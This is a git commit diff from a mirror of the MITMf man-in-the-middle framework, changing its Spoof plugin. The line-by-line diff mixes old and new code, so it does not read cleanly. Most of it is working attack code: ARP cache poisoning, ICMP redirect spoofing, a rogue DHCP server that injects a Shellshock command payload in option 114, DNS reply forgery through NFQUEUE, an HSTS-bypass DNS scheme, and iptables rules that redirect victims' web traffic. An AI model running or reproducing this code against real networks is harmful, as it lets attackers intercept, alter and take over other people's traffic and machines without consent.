mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-14 17:13:50 -07:00
Version bump
Minor code optimizations
This commit is contained in:
byt3bl33d3r
parent
5e56049e44
commit
9086525c90
44 changed files with 913 additions and 490 deletions
464
plugins/Spoof.py
464
plugins/Spoof.py
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@ -1,25 +1,40 @@
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import dns.resolver
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#!/usr/bin/env python2.7
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# Copyright (c) 2014-2016 Marcello Salvati
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License as
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# published by the Free Software Foundation; either version 3 of the
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# License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful, but
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# WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
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# USA
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#
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import logging
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import os
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import sys
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import threading
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import binascii
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import random
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from core.utils import SystemConfig
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from core.sslstrip.DnsCache import DnsCache
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from core.wrappers.protocols import _ARP, _DHCP, _ICMP
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from core.wrappers.nfqueue import Nfqueue
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from plugins.plugin import Plugin
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
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from scapy.all import *
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from netfilterqueue import NetfilterQueue
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from libs.sslstrip.DnsCache import DnsCache
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from plugins.plugin import Plugin
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from time import sleep
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from base64 import b64decode
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from urllib import unquote
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class Spoof(Plugin):
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name = "Spoof"
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optname = "spoof"
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desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
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version = "0.4"
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version = "0.5"
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has_opts = True
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req_root = True
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@ -28,63 +43,49 @@ class Spoof(Plugin):
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self.options = options
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self.dnscfg = options.configfile['Spoof']['DNS']
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self.dhcpcfg = options.configfile['Spoof']['DHCP']
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self.hstscfg = options.configfile['SSLstrip+']
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self.target = options.target
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self.manualiptables = options.manualiptables
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self.protocolInstances = []
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#Makes scapy more verbose
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debug = False
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if self.options.log_level is 'debug':
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if options.log_level is 'debug':
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debug = True
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self.sysconfig = SystemConfig(options.listen)
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if options.arp:
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if not options.gateway:
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sys.exit("[-] --arp argument requires --gateway")
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self.sysconfig.set_forwarding(1)
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if not options.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.iptables_http()
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arp = _ARP(options.gateway, options.interface, options.mac_address)
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arp.target = options.target
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arp.arpmode = options.arpmode
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arp.debug = debug
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self.arp = _ARP(options.gateway, options.interface, options.mac_address)
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self.arp.target = options.target
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self.arp.arpmode = options.arpmode
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self.arp.debug = debug
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self.arp.start()
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self.protocolInstances.append(arp)
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elif options.icmp:
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if not options.gateway:
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sys.exit("[-] --icmp argument requires --gateway")
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if not options.target:
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sys.exit("[-] --icmp argument requires --target")
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self.sysconfig.set_forwarding(1)
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if not options.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.iptables_http()
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icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
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icmp.debug = debug
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self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
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self.icmp.debug = debug
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self.icmp.start()
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self.protocolInstances.append(icmp)
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elif options.dhcp:
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if options.target:
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sys.exit("[-] --target argument invalid when DCHP spoofing")
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self.sysconfig.set_forwarding(1)
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if not options.manualiptables:
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self.sysconfig.iptables_flush()
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self.sysconfig.iptables_http()
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self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
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self.dhcp.shellshock = options.shellshock
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self.dhcp.debug = debug
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self.dhcp.start()
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dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
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dhcp.shellshock = options.shellshock
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dhcp.debug = debug
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self.protocolInstances.append(dhcp)
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else:
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sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
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@ -92,27 +93,26 @@ class Spoof(Plugin):
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if options.dns:
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if not options.manualiptables:
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self.sysconfig.iptables_dns(0)
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SystemConfig.iptables.DNS(0)
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dnscache = DnsCache.getInstance()
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for domain, ip in self.dnscfg.items():
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for domain, ip in self.dnscfg.iteritems():
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dnscache.cacheResolution(domain, ip)
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self.dns = _DNS(0)
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self.dns.dnscfg = self.dnscfg
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self.dns.dns = True
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self.dns.start()
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dns = DNStamper(0)
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dns.dnscfg = self.dnscfg
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if options.hsts:
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self.protocolInstances.append(dns)
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if not options.manualiptables:
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self.sysconfig.iptables_dns(1)
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self.dns_hsts = _DNS(1)
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self.dns_hsts.hstscfg = self.hstscfg
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self.dns_hsts.hsts = True
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self.dns_hsts.start()
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SystemConfig.setIpForwarding(1)
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if not options.manualiptables:
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SystemConfig.iptables.HTTP(options.listen)
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for protocol in self.protocolInstances:
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protocol.start()
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def add_options(self, options):
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group = options.add_mutually_exclusive_group(required=False)
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@ -126,300 +126,23 @@ class Spoof(Plugin):
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options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
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#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
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#added by alexander.georgiev@daloo.de
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options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
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def finish(self):
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if self.options.arp:
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self.arp.stop()
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sleep(3)
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self.arp.arp_inter = 1
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if self.target:
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print "\n[*] Re-ARPing target"
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self.arp.reARP_target(5)
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print "\n[*] Re-ARPing network"
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self.arp.reARP_net(5)
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elif self.options.icmp:
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self.icmp.stop()
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sleep(3)
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if self.options.dns:
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self.dns.stop()
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if self.options.hsts:
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self.dns_hsts.stop()
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for protocol in self.protocolInstances:
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protocol.stop()
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if not self.manualiptables:
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self.sysconfig.iptables_flush()
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SystemConfig.iptables.Flush()
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self.sysconfig.set_forwarding(0)
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SystemConfig.setIpForwarding(0)
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class SystemConfig():
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def __init__(self, http_redir_port):
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class DNStamper(Nfqueue):
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self.http_redir_port = http_redir_port
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dnscfg = None
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def set_forwarding(self, value):
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with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
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file.write(str(value))
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file.close()
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def iptables_flush(self):
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os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
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def iptables_http(self):
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os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
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def iptables_dns(self, queue_number):
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os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
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class _DHCP():
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def __init__(self, interface, dhcpcfg, ip, mac):
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self.interface = interface
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self.ip_address = ip
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self.mac_address = mac
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self.shellshock = None
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self.debug = False
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self.dhcpcfg = dhcpcfg
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self.rand_number = []
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self.dhcp_dic = {}
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def start(self):
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t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
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t.setDaemon(True)
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t.start()
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def dhcp_sniff(self, interface):
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sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
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def dhcp_rand_ip(self):
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pool = self.dhcpcfg['ip_pool'].split('-')
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trunc_ip = pool[0].split('.'); del(trunc_ip[3])
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max_range = int(pool[1])
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min_range = int(pool[0].split('.')[3])
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number_range = range(min_range, max_range)
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for n in number_range:
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if n in self.rand_number:
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number_range.remove(n)
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rand_number = random.choice(number_range)
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self.rand_number.append(rand_number)
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rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
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return rand_ip
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def dhcp_callback(self, resp):
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if resp.haslayer(DHCP):
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xid = resp[BOOTP].xid
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mac_addr = resp[Ether].src
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raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
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if xid in self.dhcp_dic.keys():
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client_ip = self.dhcp_dic[xid]
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else:
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client_ip = self.dhcp_rand_ip()
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self.dhcp_dic[xid] = client_ip
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if resp[DHCP].options[0][1] is 1:
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logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
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logging.info("Sending DHCP OFFER")
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packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
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IP(src=self.ip_address, dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
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DHCP(options=[("message-type", "offer"),
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('server_id', self.ip_address),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', self.ip_address),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240),
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"end"]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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sendp(packet, iface=self.interface, verbose=self.debug)
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if resp[DHCP].options[0][1] is 3:
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logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
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packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
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IP(src=self.ip_address, dst='255.255.255.255') /
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UDP(sport=67, dport=68) /
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BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
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DHCP(options=[("message-type", "ack"),
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('server_id', self.ip_address),
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('subnet_mask', self.dhcpcfg['subnet']),
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('router', self.ip_address),
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('lease_time', 172800),
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('renewal_time', 86400),
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('rebinding_time', 138240)]))
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try:
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packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
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except KeyError:
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pass
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if self.shellshock:
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logging.info("Sending DHCP ACK with shellshock payload")
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packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
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packet[DHCP].options.append("end")
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else:
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logging.info("Sending DHCP ACK")
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packet[DHCP].options.append("end")
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sendp(packet, iface=self.interface, verbose=self.debug)
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class _ICMP():
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def __init__(self, interface, target, gateway, ip_address):
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self.target = target
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self.gateway = gateway
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self.interface = interface
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self.ip_address = ip_address
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self.debug = False
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self.send = True
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self.icmp_interval = 2
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def build_icmp(self):
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pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
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IP(src=self.target, dst=self.gateway)/UDP()
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return pkt
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def start(self):
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pkt = self.build_icmp()
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t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
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t.setDaemon(True)
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t.start()
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def stop(self):
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self.send = False
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def send_icmps(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
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class _ARP():
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def __init__(self, gateway, interface, mac):
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self.gateway = gateway
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self.gatewaymac = getmacbyip(gateway)
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self.mac = mac
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self.target = None
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self.targetmac = None
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self.interface = interface
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self.arpmode = 'req'
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self.debug = False
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self.send = True
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self.arp_inter = 3
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def start(self):
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if self.gatewaymac is None:
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sys.exit("[-] Error: Could not resolve gateway's MAC address")
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if self.target:
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self.targetmac = getmacbyip(self.target)
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if self.targetmac is None:
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sys.exit("[-] Error: Could not resolve target's MAC address")
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if self.arpmode == 'req':
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pkt = self.build_arp_req()
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elif self.arpmode == 'rep':
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pkt = self.build_arp_rep()
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t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
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t.setDaemon(True)
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t.start()
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def send_arps(self, pkt, interface, debug):
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while self.send:
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sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
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def stop(self):
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self.send = False
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def build_arp_req(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
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elif self.target:
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pkt = Ether(src=self.mac, dst=self.targetmac)/\
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ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
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return pkt
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def build_arp_rep(self):
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if self.target is None:
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pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
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elif self.target:
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pkt = Ether(src=self.mac, dst=self.targetmac)/\
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ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
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return pkt
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def reARP_net(self, count):
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pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
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ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
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sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
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def reARP_target(self, count):
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pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
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ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
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sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
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class _DNS():
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def __init__(self, queue_number):
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self.hsts = False
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self.dns = False
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self.dnscfg = None
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self.hstscfg = None
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self.queue_number = queue_number
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self.nfqueue = NetfilterQueue()
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|
||||
def start(self):
|
||||
t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=())
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def nfqueue_bind(self):
|
||||
self.nfqueue.bind(self.queue_number, self.nfqueue_callback)
|
||||
self.nfqueue.run()
|
||||
|
||||
def stop(self):
|
||||
def callback(self, payload):
|
||||
try:
|
||||
self.nfqueue.unbind()
|
||||
except:
|
||||
pass
|
||||
|
||||
def resolve_domain(self, domain):
|
||||
try:
|
||||
logging.debug("Resolving -> %s" % domain)
|
||||
answer = dns.resolver.query(domain, 'A')
|
||||
real_ips = []
|
||||
for rdata in answer:
|
||||
real_ips.append(rdata.address)
|
||||
|
||||
if len(real_ips) > 0:
|
||||
return real_ips
|
||||
|
||||
except Exception:
|
||||
logging.info("Error resolving " + domain)
|
||||
|
||||
def nfqueue_callback(self, payload):
|
||||
try:
|
||||
#logging.debug(payload)
|
||||
logging.debug(payload)
|
||||
pkt = IP(payload.get_payload())
|
||||
|
||||
if not pkt.haslayer(DNSQR):
|
||||
|
|
@ -427,59 +150,28 @@ class _DNS():
|
|||
|
||||
if pkt.haslayer(DNSQR):
|
||||
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||
if self.dns:
|
||||
for k, v in self.dnscfg.items():
|
||||
if k in pkt[DNSQR].qname:
|
||||
self.modify_dns(payload, pkt, v)
|
||||
return
|
||||
for k, v in self.dnscfg.iteritems():
|
||||
if k == pkt[DNSQR].qname[:-1]:
|
||||
self.modify_dns(payload, pkt, v)
|
||||
return
|
||||
|
||||
payload.accept()
|
||||
|
||||
elif self.hsts:
|
||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
||||
for k,v in self.hstscfg.items():
|
||||
if v == pkt[DNSQR].qname[:-1]:
|
||||
ip = self.resolve_domain(k)
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
if 'wwww' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
if 'web' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
return
|
||||
|
||||
payload.accept()
|
||||
payload.accept()
|
||||
|
||||
except Exception, e:
|
||||
print "Exception occurred in nfqueue callback: " + str(e)
|
||||
|
||||
def modify_dns(self, payload, pkt, ip):
|
||||
try:
|
||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||
|
||||
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||
|
||||
if self.hsts:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||
for i in ip:
|
||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(spoofed_pkt))
|
||||
payload.accept()
|
||||
|
||||
if self.dns:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(spoofed_pkt))
|
||||
payload.accept()
|
||||
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||
|
||||
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_payload(str(mpkt))
|
||||
payload.accept()
|
||||
|
||||
except Exception, e:
|
||||
print "Exception occurred while modifying DNS: " + str(e)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue